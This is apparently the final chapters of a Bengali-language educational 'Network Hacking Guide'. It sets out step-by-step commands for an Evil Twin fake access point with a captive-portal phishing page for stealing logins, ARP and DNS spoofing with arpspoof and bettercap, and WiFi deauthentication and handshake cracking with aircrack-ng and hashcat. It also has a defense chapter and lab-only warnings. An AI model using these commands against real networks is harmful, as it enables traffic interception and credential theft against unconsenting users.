- Guest network আলাদা রাখো

📌 **সারসংক্ষেপ**

- 🤝 4-Way Handshake = WPA2-র password hash
- 💥 Deauth attack → reconnect → handshake capture
- 🔨 `aircrack-ng -w wordlist.txt capture.cap`
- ⚡ hashcat + GPU = অনেক দ্রুত crack
- 🛡️ ১৫+ char strong password = crack প্রায় অসম্ভব

CHAPTER 13 — WIFI HACKING

📶 WiFi

Evil Twin Attack — ভুয়া WiFi তৈরি

আসলটার মতো দেখতে ভুয়া WiFi Hotspot তৈরি করে victim ধরা

👥 Evil Twin কী?

Evil Twin হলো একটি ভুয়া WiFi Access Point যা আসল AP-র মতো একই SSID (নাম) ব্যবহার করে। Victim ভুল করে বা stronger signal-এ এই ভুয়া AP-তে connect হয় এবং সব traffic attacker-এর মধ্য দিয়ে যায়।

```
Real AP:  "CafeWiFi" (BSSID: AA:BB:CC, Signal: -60dBm)
Evil Twin: "CafeWiFi" (BSSID: 11:22:33, Signal: -30dBm stronger!)

Victim phone automatically stronger signal-এ connect হয়
          ↓
Evil Twin → Attacker → Real Internet
Victim জানে না সব traffic দেখা যাচ্ছে
```

⚙️ Evil Twin Setup

```
# hostapd দিয়ে Fake AP তৈরি $ sudo apt install hostapd dnsmasq -y # hostapd.conf তৈরি করো $ cat > /tmp/hostapd.conf << EOF interface=wlan0 driver=nl80211 ssid=CafeWiFi hw_mode=g channel=6 EOF # দ্বিতীয় adapter-এ internet connection দাও # dnsmasq.conf — DHCP server $ cat > /tmp/dnsmasq.conf << EOF interface=wlan0 dhcp-range=192.168.99.2,192.168.99.254,12h dhcp-option=3,192.168.99.1 dhcp-option=6,192.168.99.1 EOF # IP setup করো $ sudo ip addr add 192.168.99.1/24 dev wlan0 $ sudo ip link set wlan0 up # hostapd ও dnsmasq চালাও $ sudo hostapd /tmp/hostapd.conf & $ sudo dnsmasq -C /tmp/dnsmasq.conf # NAT — internet forward করো $ sudo iptables -t nat -A POSTROUTING \ -o eth0 -j MASQUERADE
```

🎣 Captive Portal — ভুয়া Login Page

```
# DNS সব request নিজের server-এ redirect করো # dnsmasq.conf-এ যোগ করো: address=/#/192.168.99.1 # সব domain → আমার IP # Fake login page serve করো (Python) $ mkdir /tmp/portal # index.html এ fake WiFi login form রাখো $ cd /tmp/portal && python3 -m http.server 80 # বা wifiphisher ব্যবহার করো (automated) $ sudo apt install wifiphisher -y $ sudo wifiphisher
```

⛔ সতর্কতা

Evil Twin Attack অনুমতি ছাড়া যেকোনো নেটওয়ার্কে পরিচালনা করা গুরুতর অপরাধ। শুধু নিজের পরিবেশে (Home Lab) অনুশীলন করো।

📌 সারসংক্ষেপ

- 👥 Evil Twin = আসলের মতো ভুয়া WiFi AP
- 📡 Stronger signal → victim auto-connect হয়
- 🎣 Captive Portal = ভুয়া login page দিয়ে credential চুরি
- 🛡️ VPN ব্যবহার করলে Evil Twin-এও নিরাপদ

CHAPTER 14 — DEFENSE

Defense

Network Attack থেকে নিজেকে রক্ষা

Attacker জানলে Defender-ও ভালো হওয়া যায়

Network Attack Defense Cheat Sheet

ARP Spoofing থেকে রক্ষা

- Dynamic ARP Inspection (DAI) — managed switch-এ
- Static ARP entries — critical server-এর জন্য
- arpwatch দিয়ে monitor করো
- VPN ব্যবহার করো — traffic encrypted থাকে
- XArp tool দিয়ে detect করো

DNS Spoofing থেকে রক্ষা

- DNSSEC enable করো
- DoH (DNS over HTTPS) ব্যবহার করো
- 1.1.1.1 বা 8.8.8.8 use করো
- Pi-hole + DNSSEC home-এ
- HTTPS সবসময় চেক করো

WiFi Attack থেকে রক্ষা

- WPA3 ব্যবহার করো
- 15+ character strong password
- Public WiFi-তে VPN অবশ্যই
- Auto-connect WiFi বন্ধ রাখো
- Unknown network-এ connect করো না

General Network Security

- সবসময় HTTPS ব্যবহার করো
- HSTS Preload enable করো
- Network traffic monitor করো
- Firewall properly configure করো
- Unnecessary port বন্ধ রাখো

Network Monitoring Tools

```
# নেটওয়ার্কে সন্দেহজনক activity দেখো # ARP table monitor $ sudo arpwatch -i eth0
$ watch -n 1 arp -a # Network traffic দেখো $ sudo nethogs # কোন process কতটুকু
bandwidth $ sudo iftop -i eth0 # real-time bandwidth $ sudo tcpdump -i eth0 #
packet capture (CLI) # Port scan detect করো $ sudo apt install snort -y # IDS
# SSL certificate চেক করো $ openssl s_client -connect target.com:443 $ echo |
openssl s_client -connect target.com:443 \ 2>/dev/null | openssl x509 -text
```

📌 সারসংক্ষেপ

- 🔒 VPN = সব Network Attack-এর বিরুদ্ধে সেরা সুরক্ষা
- 📡 WPA3 + Strong Password = WiFi সুরক্ষিত
- 🔍 arpwatch + Wireshark = network monitoring
- 🌐 HTTPS সবসময়, Public WiFi-তে VPN অবশ্যই

CHAPTER 15 — CHEAT SHEET

📋 Reference

Cheat Sheet ও Roadmap

সব গুরুত্বপূর্ণ command এক জায়গায়

🦈 Wireshark Quick Reference

```
## Wireshark Filters ## ip.addr == X.X.X.X # IP filter tcp.port == 80 # Port
filter http.request.method == POST # POST requests frame contains "password" #
keyword search dns.qry.name contains "fb" # DNS search arp.duplicate-address-
detected # ARP Spoof detect !icmp && !arp # noise ফিল্টার ## tshark commands ##
sudo tshark -i eth0 -w out.pcap # capture tshark -r file.pcap -Y "http" # read
```

```
+ filter tshark -r file.pcap -Y "http.request.method==POST" \ -T fields -e
http.host -e http.file_data
```

🕵️ MitM Quick Reference

```
## ARP Spoofing ## echo 1 > /proc/sys/net/ipv4/ip_forward sudo arpspoof -i
eth0 -t VICTIM GATEWAY sudo arpspoof -i eth0 -t GATEWAY VICTIM ## Bettercap ##
sudo bettercap -iface eth0 > net.probe on; net.show > set arp.spoof.targets
VICTIM; arp.spoof on > net.sniff on > set dns.spoof.domains site.com;
dns.spoof on
```

📶 WiFi Hacking Quick Reference

```
## Aircrack-ng ## sudo airmon-ng check kill sudo airmon-ng start wlan0 #
monitor mode sudo airodump-ng wlan0mon # scan sudo airodump-ng -c CH --bssid
MAC -w out wlan0mon # capture sudo aireplay-ng --deauth 10 -a AP_MAC -c
CLIENT_MAC wlan0mon sudo aircrack-ng -w rockyou.txt -b MAC *.cap # crack sudo
airmon-ng stop wlan0mon # stop ## hashcat (GPU) ## hcxpcapngtool -o
hash.hc22000 capture.cap hashcat -m 22000 hash.hc22000 rockyou.txt
```

🗺️ Learning Roadmap

ধাপ	বিষয়	Tool/Resource	সময়
১	Networking Basics	Cisco Packet Tracer	১ সপ্তাহ
২	Wireshark Basics	Wireshark, TryHackMe	১ সপ্তাহ
৩	Wireshark Protocol Analysis	Wireshark Sample Captures	১ সপ্তাহ
৪	ARP Spoofing Lab	arpspoof, VirtualBox	৩ দিন
৫	Bettercap MitM	Bettercap, Home Lab	১ সপ্তাহ

ধাপ	বিষয়	Tool/Resource	সময়
৬	WiFi Security Basics	WPA2/WPA3 concepts	৩ দিন
৭	Aircrack-ng Practice	Own WiFi network only	১ সপ্তাহ
৮	CTF — Network Challenges	TryHackMe, HackTheBox	চলমান

💡 **Practice Environment**

- **VirtualBox** — Attacker (Kali) + Victim (Ubuntu) VM
- **TryHackMe** — Wireshark, Network rooms
- **Hack The Box** — Network challenges
- **GNS3** — Professional network simulation
- নিজের home network (permission সহ) — WiFi practice

📢 "The best defense is understanding the offense." 🛡️

প্রতিটি attack নিজের lab-এ try করো। এভাবেই defense শেখা যায়।

Network Hacking Guide — v1.0 | 15 Chapters | Zero to Advanced

⚠️ শিক্ষামূলক গাইড — শুধু authorized network-এ practice করো

Network Hacking Guide — v1.0